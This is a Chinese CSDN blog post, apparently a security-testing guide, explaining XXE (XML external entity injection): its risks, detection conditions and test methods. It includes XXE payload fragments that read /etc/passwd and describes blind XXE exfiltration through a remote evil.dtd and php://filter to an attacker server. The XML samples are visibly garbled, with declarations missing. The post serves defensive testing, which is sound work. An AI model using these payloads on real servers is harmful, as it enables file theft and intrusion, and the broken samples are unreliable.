php 获取xml标记 loadxml_Part19:XML注入注入攻击类

本文详细介绍了XML注入攻击,包括其概念、风险等级、检测条件和测试方法。通过实例展示了有回显和无回显场景下的XXE测试过程,并提供PHP相关修复方案。
摘要由CSDN通过智能技术生成

漏洞分类:

注入攻击类

漏洞名称:

XML注入

漏洞描述:

可扩展标记语言 (ExtensibleMarkup Language, XML) ,用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。在XML1.0标准里,XML文档结构里定义了实体(entity)这个概念,实体的标识符可访问本地或远程内容。当允许引用外部实体时,攻击者通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。这个漏洞被称为XXE漏洞(XML External EntityInjection)即xml外部实体注入漏洞,漏洞触发的点往往是可以上传xml文件的位置,因为没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

风险等级:

通常等级定为高危,因为这种漏洞会让攻击者读取服务器的任意文件或者获得服务器的控制权。

检测条件:

①  Web业务运行正常;

②  被测网站使用可扩展标记语言。


测试方法:

       关于xml的基础知识,网络上有很多优秀的文章,在这里就不再作讲解。一般xxe利用分为以下的场景:

1、有回显的场景。在服务器能接收并解析XML格式的输入并且有回显的时候,XXE外部引入方式有:

(1)直接通过DTD外部实体声明。例如,读取文件,XML内容如下:

<?xml version="1.0"?> ]><abc>&test;abc>

(2)通过DTD外部实体声明引入外部实体声明。这种方法是引用远程服务器上的dtd文件来引入实体声明。例如,读取文件,XML内容如下:

<?xmlversion ="1.0"?> %d;]><abc>&b;abc>

evil.dtd内容如下:

"file:///etc/passwd">

2、没有回显的场景。如果目标服务器没有回显,可以引用远程服务器上的dtd文件,通过外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器),再通过查看接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到想要的数据,这种攻击手法称为xxe盲注(Blind XXE)。例如,读取文件,XML内容如下:

<?xml version="1.0"?>%dtd
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值